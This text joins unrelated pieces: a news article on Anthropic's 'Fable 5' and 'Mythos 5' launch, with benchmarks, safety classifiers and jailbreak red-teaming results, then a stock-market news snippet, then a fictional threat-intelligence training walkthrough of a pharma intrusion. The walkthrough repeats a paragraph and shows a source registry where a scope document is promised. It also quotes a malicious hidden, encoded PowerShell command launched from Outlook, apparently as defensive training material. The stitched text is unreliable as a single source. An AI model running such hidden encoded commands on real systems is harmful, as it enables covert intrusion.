Base44 said, “Fable 5 is much deeper and better at one-shotting full apps, and its tool calling is excellent.” Genspark said, “Fable 5 came out #1 on our evals, winning head-to-head against every model we tested. It was significantly stronger on the hardest tasks in the set — UI design and game coding.” Rakuten said, “At the highest effort, Fable 5 reflects on and validates its own work. For us, that's what makes highly autonomous operations possible — the extra thinking pays for itself.”

For CTOs and engineering leaders, that suggests the model’s value may come less from raw code generation and more from sustained execution: understanding an intent, planning steps, calling tools, checking its own work and continuing through a task without constant human steering.

Knowledge work, finance, legal and operations

Anthropic is also positioning Fable 5 as a stronger model for enterprise knowledge work. On GDPval-AA, Anthropic reports a score of 1932 for Fable 5 and Mythos 5, compared with 1890 for Claude Opus 4.8, 1769 for GPT-5.5 and 1314 for Gemini 3.1 Pro.

On GDPpdf, a benchmark focused on visual document reasoning, Fable 5 and Mythos 5 score 29.8% without tools, compared with 22.5% for Opus 4.8, 24.9% for GPT-5.5 and 16.7% for Gemini 3.1 Pro.

That matters for enterprises because much of corporate work still lives in messy documents: PDFs, spreadsheets, charts, reports, contracts, filings, slide decks and screenshots. Anthropic says Fable 5 shows gains in document-based reasoning, chart and table interpretation and complex problem solving.

Hex said, “Fable 5 is the first to break 90% on our core analytics benchmark of complex, long-running analytical tasks — a 10-point jump over Opus. On the hardest questions, it shows strong judgment and attention to nuance.” Hebbia said Fable 5 was the highest-scoring model on its Finance Benchmark for senior-level reasoning, with double-digit gains in document reasoning, chart and table interpretation, and problem solving.

The finance examples are notable because they point to AI agents moving beyond summarization into higher-stakes analytical workflows.

IMC said Fable 5 “aced our trading-analysis evaluations nearly across the board: factual lookup, conceptual reasoning, root-cause analysis, expected-value analysis.” Optiver said the model was stronger than Opus 4.8 on its trading benchmark and “remarkably consistent,” scoring identically across repeated runs. Balyasny Asset Management said Fable 5 was the strongest finance-first model it had tested.

Legal and operations teams may also see immediate impact. Crosby Legal said, “Fable 5 feels materially different. In blind review, our lawyers found its redlines matched or beat our current model every time.” Notion said the model can take work “you'd chip away at all afternoon” and turn messy notes into a functioning project plan. Zapier said Fable 5 is the new leader on AutomationBench and is more autonomous than Opus 4.8: “Where Opus stops to ask, Fable 5 keeps looking.”

For enterprise software vendors, that points toward more capable embedded agents in workflow products: agents that can review a contract, update a project plan, assemble a spreadsheet, inspect a chart, file a ticket, run a query, call an internal API and keep going until the work is complete.

Vision and interface understanding

Anthropic says Fable 5 is also its strongest vision model. In its launch materials, the company says the model can extract precise numbers from detailed scientific figures and complete vision-based tasks such as rebuilding a web app’s source code from screenshots alone.

That has immediate implications for enterprise automation. Many business processes still depend on visual interfaces that are not cleanly exposed through APIs: dashboards, PDFs, forms, legacy apps, screenshots, scans and image-heavy reports. A stronger vision model could help agents operate across those environments with less custom integration work.

Anthropic also says Fable 5 needs less scaffolding than previous Claude models. As an example, the company says earlier Claude models struggled to play Pokémon FireRed even with extra tools, while Fable 5 impressively beat the game using a minimal vision-only harness. Anthropic posted a fast forwarded video of its playthrough to YouTube and in its blog post:

The point is not gaming itself, but the broader agentic skill: reading a visual environment, remembering progress, deciding what to do next and executing over a long horizon.

In another internal test, Anthropic says it had the model play the deck-building game Slay the Spire with access to persistent file-based memory. The company says persistent memory improved Fable 5’s performance three times more than it improved Opus 4.8’s, and that Fable reached the game’s final act three times more often. For enterprise users, this suggests Fable 5 may make better use of notes, logs and stored context during multi-step work.

That could matter for internal agents that operate over days or weeks: sales operations agents that track account research, engineering agents that manage migrations, finance agents that update models, or support agents that remember what they tried across many turns.

From restricted cyber model to general-purpose enterprise AI

The announcement follows Anthropic’s April 2025 rollout of Claude Mythos Preview through Project Glasswing, a restricted program for cyber defenders, critical infrastructure providers and major software maintainers. Anthropic created Glasswing after internal evaluations showed Mythos-class models could find and exploit software vulnerabilities at a level that raised meaningful misuse concerns.

Following the debut of Glasswing and Mythos, U.S. officials and intelligence agencies began weighing how such models could reshape both cyber defense and offensive operations, while Sen. Mark Warner warned that AI-assisted vulnerability discovery should force industry to “accelerate and reprioritize patching.” Financial regulators also took notice: The Guardian reported that Mythos entered discussions among senior banking officials and regulators in the U.S. and U.K. because of fears that AI-accelerated cyberattacks could threaten payment systems and broader financial stability.

The reaction has not been limited to alarm. Governments also want access: Reuters reported that South Korea’s national internet security agency had secured Mythos access through Project Glasswing, reflecting a broader geopolitical race to use frontier AI for national cyber defense. At the same time, Anthropic has faced scrutiny over whether it can safely gate the very capabilities it says are too risky for general release. The Verge reported that unauthorized users accessed Mythos after its limited rollout, calling the incident damaging for a company that has built its brand around responsible AI.

Critics have also questioned whether Anthropic’s warning-heavy framing risks becoming a form of market positioning, since it casts the company as both the source of the new capability and the gatekeeper deciding which governments, companies and researchers get to use it.

With Fable 5, Anthropic is leaning into its gatekeeper role, attempting to separate the general enterprise value of a Mythos-class model from the riskiest parts of its capability profile. The company says Fable 5 can handle software engineering, research, visual reasoning, document analysis and long-running agentic workflows, while classifiers block or reroute requests that could provide what Anthropic calls “uplift” to malicious actors.

Those classifiers cover three main areas.

1. Cybersecurity, where Anthropic says Mythos-class models can discover and exploit vulnerabilities and perform broader “agentic hacking” tasks such as reconnaissance, discovery and lateral movement.

2. Biology and chemistry, where the company says the same reasoning that can help researchers design therapies could also help well-resourced malicious actors pursue dangerous biological work.

3. Model distillation, where Anthropic says users may try to extract Claude’s capabilities to train competing models, including models that could be released without similar safeguards.

When Fable 5’s classifiers detect one of those categories, the response is automatically handled by Claude Opus 4.8. Anthropic says users will be told when this happens. That is a notable product decision: rather than declining those requests outright, Anthropic is trying to keep the user experience functional while reducing access to the most capable version of the model in sensitive areas.

Anthropic says it red-teamed the new classifier system internally and externally. The company says an internal bug bounty produced no universal jailbreaks after more than 1,000 hours of testing, and external red-teaming organizations also failed to find a universal jailbreak. One external partner found that Fable 5 complied with zero harmful single-turn cyber requests related to planning cyberattacks, exploit development or defense evasion, even when prompts used any of 30 public jailbreak techniques, according to Anthropic.

The company is still acknowledging tradeoffs. Anthropic says the safeguards are deliberately cautious and may sometimes trigger on benign requests. That could frustrate security professionals, biology researchers and advanced enterprise users whose legitimate work overlaps with the blocked categories. The company says it plans to reduce false positives over time.

Mythos 5 and the restricted frontier

While Fable 5 is the broad commercial launch, Mythos 5 is the model to watch for enterprises operating in security, critical infrastructure and life sciences.

The company says all users with Claude Mythos Preview access can upgrade to Mythos 5 beginning today. It plans to expand access through a trusted access program, in collaboration with the U.S. government.

The distinction is important for sectors where the blocked capabilities are not edge cases but core workflows. A security team may need to reproduce vulnerabilities, test exploitability, analyze lateral movement or simulate attacker behavior in a controlled environment. A biology research team may need to reason through molecular design workflows that would trigger general-use safeguards. Fable 5 is not designed to give every user unrestricted access to those capabilities; Mythos 5 is designed for vetted users who need them.

Anthropic says Mythos 5 has the strongest cybersecurity capabilities of any model in the world. In the company’s benchmark table, the model family scores 78.0% on ExploitBench, compared with 69.0% for Claude Mythos Preview, 40.0% for Opus 4.8 and 34.0% for GPT-5.5. On CyberGym, Anthropic’s chart shows Mythos 5 at 83.8%, slightly ahead of Mythos Preview at 83.1% and far above Opus 4.8 with default safeguards.

The company is making a similar argument in biology. Anthropic says Mythos-class models outperform dedicated protein language models on a task involving adeno-associated viruses, a delivery mechanism used in gene therapies. The company frames that as both promising and risky: the same capability that could help gene therapy research could also be misused in dangerous biological work.

Anthropic says its internal protein design experts used Mythos 5 to accelerate parts of the drug design process by about tenfold. In one example, the company says Mythos 5, using protein design and bioinformatics tools without human assistance, matched or beat skilled human operators by choosing binding sites, selecting and running tools, and recovering from failures. Anthropic says nine of 14 protein targets in the study produced strong candidates for drug design that it is now investigating.

The company also says Mythos 5 produced novel molecular biology hypotheses that Anthropic scientists preferred over Opus-class model hypotheses about 80% of the time in blinded comparisons. Anthropic says several of those ideas have advanced to experimental evaluation, and one hypothesis involving an E. coli protein was later corroborated by an independent lab working on the same problem.

Those claims are potentially significant, but they should be treated carefully until more details are published. Anthropic says it intends to publish additional results in the coming months. For now, the strongest enterprise implication is directional: the company believes its highest-end models can already perform parts of scientific research workflows with less human intervention than prior systems.

New, longer data retention requirement

The company also introduced a new data-retention policy for Mythos-class models. Anthropic says it will require 30-day retention for all traffic on Fable 5, Mythos 5 and future models with similar or higher capability levels, across both first-party and third-party surfaces. The company says it will not use that data to train new Claude models or for non-safety purposes, and says it has added privacy protections including logging human access and deleting the data after 30 days in almost all cases.

That policy may become one of the most important enterprise buying questions around Fable 5. Many businesses want frontier AI capability but also want strict control over data retention, especially in regulated sectors. Anthropic’s position is that stronger monitoring is necessary for models with this level of capability. Enterprise customers will have to decide whether the capability gain justifies the retention requirement.

Enterprise implications

The broader enterprise significance of Fable 5 is that Anthropic is trying to commercialize a more autonomous class of AI model without exposing all of its capabilities to every user. That could become a template for how frontier labs release increasingly powerful systems: one model family, multiple access tiers, and domain-specific restrictions depending on user trust and risk.

If Fable 5 performs as Anthropic and early customers describe, developers may hand off larger tasks: code migrations, refactors, UI builds, test writing, bug fixing, documentation, internal tooling and multi-step app creation.

For knowledge-work-heavy enterprises, Fable 5 could make AI more useful in workflows where earlier models were too brittle: finance research, spreadsheet analysis, legal redlines, procurement review, board materials, market research, sales operations and project planning. The main gain is not just better answers; it is fewer turns, fewer corrections and more ability to keep working through ambiguity.

For security teams, the launch is more complicated. Most organizations will get Fable 5, not unrestricted Mythos 5. That means they may see stronger general coding and analysis, but not full access to the cyber capabilities Anthropic considers risky. Trusted defenders inside Project Glasswing will get Mythos 5, giving them a more direct way to use the model for vulnerability discovery and defensive testing.

For life sciences companies, the pattern is similar. Fable 5 may help with general research, literature analysis, data interpretation and scientific reasoning, but the more sensitive biological capabilities will be restricted. Anthropic is effectively creating a separate access path for vetted researchers whose work requires capabilities that could be dangerous in the wrong hands.

The launch also raises competitive pressure across the AI industry. Anthropic is claiming state-of-the-art results across agentic coding, knowledge work, vision, cybersecurity, legal reasoning, spatial reasoning and health benchmarks. But the more strategically important claim may be that it has found a workable release mechanism for models above its Opus class. If Fable 5’s safeguards hold up under real-world use, Anthropic will argue it can bring more powerful models to market sooner without fully opening the riskiest capabilities.

That is still a large “if.” The enterprise market will test not only Fable 5’s benchmark performance, but also its reliability, false-positive rate, data-retention tradeoffs and cost at scale. A model that can complete more work autonomously can also burn more tokens, trigger more governance questions and create new review burdens for teams that must verify its output.

Still, today’s launch marks a clear shift in the Claude lineup. Opus is no longer Anthropic’s top commercial capability tier. Mythos-class models now sit above it. Fable 5 is the first version of that tier for general users; Mythos 5 is the restricted version for trusted high-risk work. Together, they show how Anthropic plans to push frontier AI deeper into enterprise workflows while trying to keep the most dangerous capabilities gated.

• Business live – latest updates

Global stock markets have fallen amid concern about the prospects for tech stocks while oil prices have risen as attacks in the Middle East stoked fears that a fragile truce in the region could break.

Stock markets in Asia and Europe fell on Monday after a sharp sell-off in US tech stocks late last week, as investors fretted over how companies at the forefront of the artificial intelligence boom would fund their “eye-watering” spending plans.

All organizations, names, and data are fictional. This is training assignment A01 from the CTI as a Code repository.

Based on the methodology: “CTI as a Code”

CTI as a Code: Complete Step-by-Step Methodology

Contents

1. The Scenario
2. Step 00: Clone, Initialize, and Fill the Template
3. Step 0: Intake — What the First Call Captures
4. Step 1–2: Project Setup and Scope
5. Step R1: Evidence Inventory — What Exists and What Is Missing
6. Step R1.5: Hands-On Evidence Analysis — VS Code Investigation
   1. CrowdStrike Alert — JSON in VS Code
   2. Decode the PowerShell Payload
   3. M365 Message Trace — Rainbow CSV
   4. Azure AD Sign-In Analysis
   5. VPN Log Analysis
   6. NGFW Log Analysis — Rainbow CSV
   7. SQL Audit Log Analysis
   8. Windows Security Event Log Analysis
   9. Cross-File Pivot — VS Code Global Search
   10. IOC Enrichment — REST Client
   11. Sandbox Analysis — Submit the Binary
   12. Static Binary Analysis — Hex Editor + Terminal
   13. Infrastructure Pivot — REST Client + Global Search
   14. Splunk Correlation (SIEM Validation)
7. Step R2: Timeline — Two Paths, One Actor
8. Step R3: Claims Ledger — Every Assertion Traced to Evidence
9. Step R4: ATT&CK Mapping — Where Detection Failed
10. Step R5: Attribution Assessment — Same Actor or Two?
11. Step R6: Detection Rules — Four That Would Have Changed the Outcome
12. Step R7: Deliverables — What Each Stakeholder Gets
13. The Git History: What a Completed Investigation Looks Like
14. Key Lessons

The Scenario

LifeTech Pharma Ltd. is a mid-sized Israeli pharmaceutical company in Rehovot. It develops and manufactures generic drugs and biological APIs, exports to the US, EU, and MENA, and recently signed a $52 million licensing deal with a US biopharma partner. The signed formula files are stored on SERVER-RD-02\LicenseDeals\USPartner2024\ — 47 files, approximately 380 MB compressed.

On Friday, 15 November 2024 at 18:47 IST, the on-call SOC analyst receives a CrowdStrike behavioral detection:

ALERT: Suspicious PowerShell Activity
Severity: High — Behavioral IOA
Host: WS-CFO-01.lifetechpharma.local  [Michal Cohen, CFO]
Process: powershell.exe (PID 3784)
Parent: OUTLOOK.EXE (PID 2240)
CommandLine: powershell.exe -NonI -W Hidden -Enc JABjAD0ATgBlAHcA...
Timestamp: 2024-11-15T18:42:33Z

That’s the visible trigger. The actual breach started 24 days earlier — and the alert is the second of two entry points, not the first.

Step 00: Clone, Initialize, and Fill the Template

Before the phone rings. This step takes three minutes and is done once per investigation — ideally before the alert even comes in, or in the first five minutes after hanging up the initial call.

1. Clone the repository (one-time setup)

If you have not cloned CTI_as_a_Code yet, do this once on your analyst workstation:

cd ~
git clone https://github.com/anpa1200/CTI_as_a_Code.git

You will never modify this clone. It is your template source. Leave it as-is and pull updates periodically:

cd ~/CTI_as_a_Code && git pull

2. Create your investigations folder

mkdir -p ~/investigations

Use any path you prefer — just keep it consistent across all cases. Do not create investigations inside the CTI_as_a_Code clone.

3. Copy the reactive template for this case

cp -r ~/CTI_as_a_Code/templates/reactive/ ~/investigations/lifetech-2024-11

Naming convention: [org-slug]-[YYYY-MM]. One folder per case. Verify the structure:

ls ~/investigations/lifetech-2024-11/
tree ~/investigations/lifetech-2024-11/

Expected:

00-scope/   01-evidence/   02-sources/   03-analysis/
04-detections/   05-deliverables/   06-ai-outputs/   07-feedback/
README.md   intake-form.md   project.yml

4. Initialize git inside the case folder

cd ~/investigations/lifetech-2024-11
git init
git add .
git commit -m "PROJ-2024-001: scaffold initialized from reactive template"

This is commit zero. Its purpose is to prove — to a lawyer, an auditor, or yourself — exactly what state you started from before any analysis began.

5. Fill in project.yml

This file is the single source of truth for project metadata. Open it now:

nano project.yml

The template has blank fields. Fill every one(During the investigation):

project:
  id: "PROJ-2024-001"
  name: "LifeTech Pharma — Targeted Intrusion"
  type: reactive
  classification: TLP:AMBER
  status: in-progress
analyst:
  name: "Your Name"
  role: "CTI Analyst"
  contact: "your@email.com"
timeline:
  incident_date: "2024-11-15"
  detection_date: "2024-11-15"
  investigation_start: "2024-11-15"
  report_due: "2024-11-17"         # INCD 72h clock - expires 18:47 IST Nov 17
pirs:
  - id: PIR-001
    question: "Was the US licensing formula package (SERVER-RD-02\\USPartner2024\\) accessed or exfiltrated? If so, what and when?"
    priority: high
    status: open
  - id: PIR-002
    question: "How did the adversary gain initial access - phishing, credential theft, or exploitation?"
    priority: high
    status: open
  - id: PIR-003
    question: "Is there evidence of ongoing access or persistence as of investigation date?"
    priority: high
    status: open
scope:
  systems:
    - WS-CFO-01
    - WS-IT-LEVI
    - SERVER-RD-02
    - SERVER-FIN-01
    - DC01
  threat_actor: unknown
  attck_techniques: []             # leave blank now - fill during R4
deliverables:
  - type: executive-brief
    status: pending
  - type: soc-handoff
    status: pending
  - type: sigma-rules
    count: 0
    status: pending
notes: "INCD 72h notification clock starts 2024-11-15 18:47 IST. Legal hold on WS-IT-LEVI - no hardware access, RTR only."

Do not leave any field as "" or [] if you know the value. Unknown fields are fine — write unknown explicitly. A blank field means "forgot to fill in." unknown means "we looked and do not know yet."

6. Commit the filled metadata

git add project.yml
git commit -m "PROJ-2024-001: project.yml filled — 3 PIRs, INCD deadline 2024-11-17 18:47 IST, legal hold WS-IT-LEVI"

The folder is now named, scoped, and version-controlled. The intake call can begin.

Step 0: Intake — What the First Call Captures

Before opening Splunk, before pivoting on the C2 IP, before forming a hypothesis — the intake call runs. This is 15 minutes with the Tier 2 escalation and the IR Lead before any analysis work begins.

The intake captures facts that change what you look for.

Open the intake form before dialing:

cp intake-form.md 00-scope/intake-2024-11-15.md
nano 00-scope/intake-2024-11-15.md

The template has 9 sections. Work through them in order during the call — do not paraphrase in real time, write what the reporter says verbatim. You will analyze it after. For LifeTech this call produces:

# Investigation Intake — PROJ-2024-001 — 2024-11-15

Completed by: On-call CTI analyst (Yael Mizrahi)
Intake call with: Noa Ben-David (IR Lead), Ran Katz (SOC Manager)
Call time: 2024-11-15 18:55 IST

---

## 1. What was reported?

**1.1 What did you see or receive that caused you to raise this?**
"CrowdStrike fired a high-severity behavioral IOA on Michal Cohen's workstation —
PowerShell with base64 payload launched directly from Outlook. Tier 1 pulled the
network tab and found 3 outbound connections to 203.0.113.87 over the last 15
minutes. This is the CFO's machine. We escalated immediately."

**1.2 Where did this first come to your attention?**
- [x] Alert from SIEM / EDR / AV  ← CrowdStrike Falcon behavioral IOA, severity: High

**1.3 When did you first notice it?**
Date: 2024-11-15   Time: 18:47   Timezone: IST (UTC+2)

**1.4 Do you believe the activity is still ongoing?**
- [x] Yes — still active (C2 connections still firing at time of call)

---

## 2. What is already known?

**2.1 What systems, accounts, or services appear to be involved?**
- WS-CFO-01.lifetechpharma.local — Michal Cohen, CFO. Dell Latitude, Windows 11.
- 203.0.113.87 — external IP, destination of C2 connections. Not in any allowlist.
- OUTLOOK.EXE (PID 2240) → powershell.exe (PID 3784) — parent-child confirmed.
- No other hosts identified yet — investigation is 8 minutes old.

**2.2 What was the observed behavior?**
"PowerShell with -NonI -W Hidden -Enc flags spawned from Outlook. The encoded
command has not been decoded yet. Three separate TCP connections to 203.0.113.87
on port 443 over 15 minutes — looks like a beacon pattern."

**2.3 Has anyone else already investigated or looked into this?**
- [x] Yes — Tier 1 analyst (Omer Cohen) ran initial Splunk queries (last 1 hour only).
  What did they touch: read-only Splunk queries. No changes to the endpoint.

**2.4 What do you think happened?**
"Probably a phishing email with a malicious attachment — xlsm macro or something
similar. Michal must have opened it in the last few hours. We don't know if anyone
else was targeted."

---

## 3. Timeline of discovery

**3.1 When do you believe the activity started?**
- [ ] Known
- [x] Estimated: activity on WS-CFO-01 started approximately 18:42 IST (PowerShell
  launch timestamp from CrowdStrike event).

**3.2 How long do you estimate the activity has been occurring?**
Approximately 13 minutes from first PowerShell event to escalation call (18:42–18:55 IST).
However: unknown whether this is the beginning of the intrusion or a later stage.

**3.3 Is there a specific event that triggered the alert or complaint?**
CrowdStrike behavioral IOA fired at 18:42:33 IST on WS-CFO-01. Tier 1 escalated
at 18:47. IR Lead paged at 18:52. Intake call started at 18:55.

---

## 4. What has already been done?

**4.1 Has any system been rebooted, shut down, or reimaged since the activity was discovered?**
- [x] No — WS-CFO-01 is still running. Not yet isolated.

**4.2 Have any credentials, tokens, or API keys been rotated or revoked?**
- [x] No — no credential changes made yet.

**4.3 Has any network access been blocked or firewall rules been changed?**
- [x] No — 203.0.113.87 has not been blocked. Ran confirmed: "We wanted to check
  with you first before blocking — didn't want to tip them off."

**4.4 Has any malware been deleted or quarantined?**
- [x] No — CrowdStrike flagged the process but did not quarantine. Alert status: Detected,
  not Prevented (policy is set to Detect-only on this machine — CFO exception policy).

**4.5 Has anyone notified external parties?**
- [x] No — no external notification yet. INCD assessment pending scope confirmation.

---

## 5. Systems and access

**5.1 What logging is expected to exist for the affected systems?**
- Endpoint logs (Sysmon, CrowdStrike): [x] Yes — CrowdStrike on WS-CFO-01. Sysmon on
  WS-CFO-01. NOTE: Sysmon NOT deployed on server-class machines or DC01.
- VPN / authentication logs: [x] Yes — Cisco AnyConnect VPN, logs in Splunk.
- Database audit logs: [x] Yes — SQL audit on SERVER-RD-02 (partial EIDs only).
- Network flow / firewall logs: [x] Yes — Palo Alto NGFW. RETENTION: 14 days only.
  ⚠ SERVER-RD-02 outbound logs will expire 2024-11-29 for today's traffic.
- Email gateway logs: [x] Yes — M365 Message Trace, 30-day retention. ATP enabled.
  NOTE: ATP sandbox NOT enabled for xlsm files — policy gap identified.
- Cloud provider logs: [x] Yes — Azure AD sign-in logs, 30-day retention.

**5.2 What tools and access does the analyst have?**
- [x] Admin access to affected hosts (CrowdStrike RTR for WS-CFO-01, WS-CFO-01 CrowdStrike console)
- [x] Read access to SIEM (Splunk — full org)
- [x] Access to EDR console (CrowdStrike Falcon — full org view)
- [x] Access to network equipment / firewall logs (Palo Alto Panorama — read only)
- [x] Access to cloud console (Azure AD — Security Reader role)
- [x] Access to email gateway (M365 Security & Compliance — Message Trace)
- [ ] VPN / jump host credentials — not yet, request submitted
- [x] TheHive / OpenCTI lab access

**5.3 Are there any systems the analyst should NOT touch?**
⚠ WS-IT-LEVI (Paz Levi, IT Admin): LEGAL HOLD issued at 20:45 IST today.
  HR investigation underway — UNRELATED to this incident (employment matter).
  Hardware access BLOCKED for 48–72 hours per Legal counsel (Adv. Dina Shapiro).
  Remote CrowdStrike RTR is PERMITTED — confirmed by Legal.
  No memory image, no disk image, no physical access until hold lifted.

---

## 6. Business impact

**6.1 What business processes are affected or at risk?**
"The CFO's email and workstation are involved. If this is a full compromise, finance
data is at risk. We also have R&D server SERVER-RD-02 — it holds the formula files
for the US licensing deal. That deal closes in 6 weeks. If those files were touched,
we have an FDA NDA issue and a $52M deal at risk."

**6.2 Is customer data, employee data, or regulated data potentially involved?**
- [x] Yes — type: proprietary formula files under FDA NDA filing (USPartner2024 package,
  47 files, ~380 MB). Also: employee financial data on SERVER-FIN-01 if CFO path
  extended to finance server.

**6.3 What is the financial exposure if this is confirmed?**
Direct deal risk: $52M US licensing agreement. Regulatory exposure: Israeli Privacy
Protection Law (PPL) fines + FDA NDA breach penalties. Reputational exposure: US
partner disclosure obligation if formula data confirmed exfiltrated.

**6.4 Is there a hard deadline driving this investigation?**
- [x] Yes — deadline: INCD 72-hour notification window starts from discovery of
  breach (not discovery of alert). If formula data or critical infrastructure
  involvement confirmed: clock starts NOW → expires 2024-11-17 ~18:47 IST.

---

## 7. Regulatory and legal constraints

**7.1 Are there applicable notification requirements?**

| Regulation | Applicable? | Deadline | Notified? |
|---|---|---|---|
| INCD (Israeli critical infrastructure) | TBD — assess after scope confirmed | 72h from discovery | No |
| Biometric Database Authority | No — no biometric data at LifeTech | — | N/A |
| BoI-CD 362 (Israeli financial) | No — LifeTech is not a financial entity | — | N/A |
| GDPR | TBD — EU customers in export data? | 72h from awareness | No |
| PCI-DSS | No — no card processing at LifeTech | — | N/A |
| Israeli Privacy Protection Law | Yes — employee + partner data in scope | Per PPL — notify DPA if breach confirmed | No |
| FDA / NDA obligation | Yes — if formula files confirmed exfiltrated | Immediate notification to US partner | No |

**7.2 Is there an active legal hold on any systems or data?**
- [x] Yes — WS-IT-LEVI (Paz Levi). Legal hold issued 2024-11-15 20:45 IST.
  Contact: Adv. Dina Shapiro (Legal). Hold expected: 48–72 hours minimum.

**7.3 Has legal counsel been notified?**
- [x] Yes — Adv. Dina Shapiro notified of the security incident at 19:10 IST.
  Advised: do not touch WS-IT-LEVI hardware. RTR permitted with logging.

---

## 8. Analyst notes

(Raw notes taken during call — unprocessed)

- Ran (SOC): "The CFO is still at the office. We haven't told her yet. Should we?"
  → IR Lead decision: do not inform CFO until after memory dump. Risk: she might
  reboot the machine.
- The CrowdStrike policy on WS-CFO-01 is DETECT-ONLY (CFO exception policy).
  This is why the process was not killed automatically. SOC should evaluate
  moving to Prevent for exec machines after this incident.
- 203.0.113.87 — not blocklisted anywhere in org. Ran says: "It's clean on our
  end, never seen it before." Worth enriching immediately (VirusTotal, Shodan).
- Memory dump of WS-CFO-01 is urgent — C2 is still active. Process may have
  network artifact or decrypted payload in memory. Action: RTR memory dump NOW.
- No mention of SERVER-RD-02 during this call — IR Lead is not aware of the
  formula file risk yet. Will scope that separately after evidence inventory.
- p.levi (WS-IT-LEVI) is under HR investigation for unrelated reason. Legal hold
  is coincidental. However: IT admin access + legal hold + security incident
  creates a complex situation. Document carefully.

---

## 9. Next actions

| # | Action | Owner | Due |
|---|---|---|---|
| 1 | Take memory dump of WS-CFO-01 via CrowdStrike RTR before C2 session ends | Yael (CTI) | Immediate |
| 2 | Enrich 203.0.113.87 — VirusTotal, Shodan, passive DNS, ASN lookup | Yael (CTI) | Within 30 min |
| 3 | Pull M365 Message Trace for m.cohen last 48h — identify delivery vector | Omer (Tier 1) | Within 30 min |
| 4 | Retrieve Palo Alto firewall logs for WS-CFO-01 and SERVER-RD-02 — full available window | Ran (SOC) | Within 1h ⚠ retention risk |
| 5 | Check Azure AD sign-in logs for m.cohen and p.levi — last 30 days | Yael (CTI) | Within 1h |
| 6 | Confirm SERVER-RD-02 USPartner2024 directory access — pull EID 4663 from Splunk | Yael (CTI) | Within 2h |
| 7 | Open TheHive case PROJ-2024-001, attach this intake as first observable | Yael (CTI) | Within 30 min |
| 8 | Advise IR Lead on INCD 72h clock — confirm if formula data scope triggers mandatory notification | Noa (IR Lead) + Legal | Within 2h |

---

*Intake completed 2024-11-15 19:18 IST. File saved as 00-scope/intake-2024-11-15.md.*
*Case opened in TheHive: PROJ-2024-001.*
```

Two items in this intake change the entire investigation trajectory: the legal hold on `WS-IT-LEVI` (you cannot image it), and the potential for formula data in scope (Israeli PPL + FDA notification obligations). Both need to be on the table before analysis starts, not discovered mid-investigation.

The intake commits to git first:

Two items in this intake change the entire investigation trajectory: the legal hold on WS-IT-LEVI (you cannot image it), and the potential for formula data in scope (Israeli PPL + FDA notification obligations). Both need to be on the table before analysis starts, not discovered mid-investigation.

The intake commits to git first:

git add 00-scope/intake-2024-11-15.md
git commit -m "PROJ-001: intake — CFO PowerShell alert, legal hold on WS-IT-LEVI, formula data in scope"

Step 1–2: Project Setup and Scope

The folder and git repo already exist from Step 00. This step fills the scope document and gets stakeholder sign-off before any analysis begins. The rule: you do not start looking at logs until the scope is committed.

1. Open the scope document

nano 00-scope/scope.md

# Intelligence Source Registry

**Project:** PROJ-2024-001 — LifeTech Pharma Targeted Intrusion

Admiralty Scale: Source reliability A (completely reliable) – F (reliability cannot be judged).  
Information reliability: 1 (confirmed) – 6 (truth cannot be judged).

---

## Internal Sources

| ID | Source | Type | Admiralty | Notes |
|---|---|---|---|---|
| INT-001 | Splunk SIEM | Log aggregation | A/2 | Primary forensic source; full org scope; read-only access. Initial 1h Splunk query by Tier 1 (Omer Cohen) — covered WS-CFO-01 only. |
| INT-002 | CrowdStrike Falcon | EDR / endpoint telemetry | A/2 | Deployed on WS-CFO-01, WS-IT-LEVI. NOT deployed on R&D server fleet (12 servers) or DC01. CFO machine on Detect-only policy (not Prevent). |
| INT-003 | Palo Alto NGFW (Panorama) | Firewall flows / NetFlow | A/2 | Read-only. 14-day retention. ⚠ SERVER-RD-02 Nov 6 outbound flows expire 2024-11-20 — retrieve before any other task. |
| INT-004 | M365 Message Trace | Email gateway logs | A/2 | 30-day retention. ATP sandbox NOT enabled for .xlsm files — phishing attachment delivered uninspected. |
| INT-005 | Azure AD sign-in logs | Cloud authentication | A/2 | 30-day retention. Security Reader role. Covers m.cohen and p.levi sign-in history. |
| INT-006 | Sysmon (WS-CFO-01, WS-IT-LEVI) | Endpoint process/network telemetry | A/2 | NOT deployed on server-class machines (SERVER-RD-02, SERVER-FIN-01, DC01). |
| INT-007 | Windows Security event logs (DC01, SERVER-RD-02) | Authentication / authorization | A/2 | DC01: partial export only — full log inaccessible. EID 4662 (DCSync) and EID 4663 (object access) relevant. |
| INT-008 | SQL audit — SERVER-RD-02 | Database object-access audit | A/2 | Partial EIDs only; not all object-access events captured. Required for PIR-001 (formula file access). |
| INT-009 | Cisco AnyConnect VPN | VPN session logs | A/2 | Available in Splunk. Covers p.levi sessions (AiTM hypothesis). |

---

## External / OSINT Sources

| ID | Source | Type | Admiralty | TLP | Notes |
|---|---|---|---|---|---|
| EXT-001 | CERT-IL | Government advisory | A/2 | TLP:AMBER | Check for active advisories targeting Israeli pharma sector. |
| EXT-002 | VirusTotal | IOC enrichment | C/3 | TLP:WHITE | Immediate priority: 203.0.113.87 hash/IP lookup. Crowdsourced — treat as corroborating only. |
| EXT-003 | Shodan | Infrastructure recon | C/3 | TLP:WHITE | 203.0.113.87 ASN / infrastructure / open-port lookup. |
| EXT-004 | URLScan.io | Domain analysis | C/3 | TLP:WHITE | Passive DNS and domain history for C2 domains identified in flows. |
| EXT-005 | MISP | Community threat intel | B/3 | TLP:AMBER | Pharma sector sharing. Cross-reference IOCs against community feed. |

---

## Source Limitations

| Source | Known Limitation |
|---|---|
| Palo Alto NGFW (INT-003) | 14-day retention only. SERVER-RD-02 Nov 6 outbound flows expire **2024-11-20** — retrieve immediately, before any other analysis. |
| CrowdStrike Falcon (INT-002) | Not deployed on R&D server fleet (12 servers) or DC01. No EDR telemetry for those hosts — Windows Security events and NGFW logs are the only visibility. |
| Sysmon (INT-006) | Not deployed on server-class machines (SERVER-RD-02, SERVER-FIN-01, DC01). Process creation and network telemetry unavailable for those hosts. |
| Windows Security / DC01 (INT-007) | Only partial event log export available; full log is inaccessible. Analytical confidence on DC01 activity is reduced. |
| M365 ATP (INT-004) | Sandbox not enabled for .xlsm attachments. The suspected phishing attachment was delivered without detonation — no ATP verdict available. |
| SQL audit — SERVER-RD-02 (INT-008) | Partial EIDs only. Not all object-access events are captured. Absence of a log entry does NOT confirm file was not accessed. |
| WS-IT-LEVI — all sources | Legal hold issued 2024-11-15 20:45 IST (Adv. Dina Shapiro). No hardware, disk, or memory image permitted. CrowdStrike RTR allowed with full session logging. Re-assess after hold lifted (est. 48–72h). |
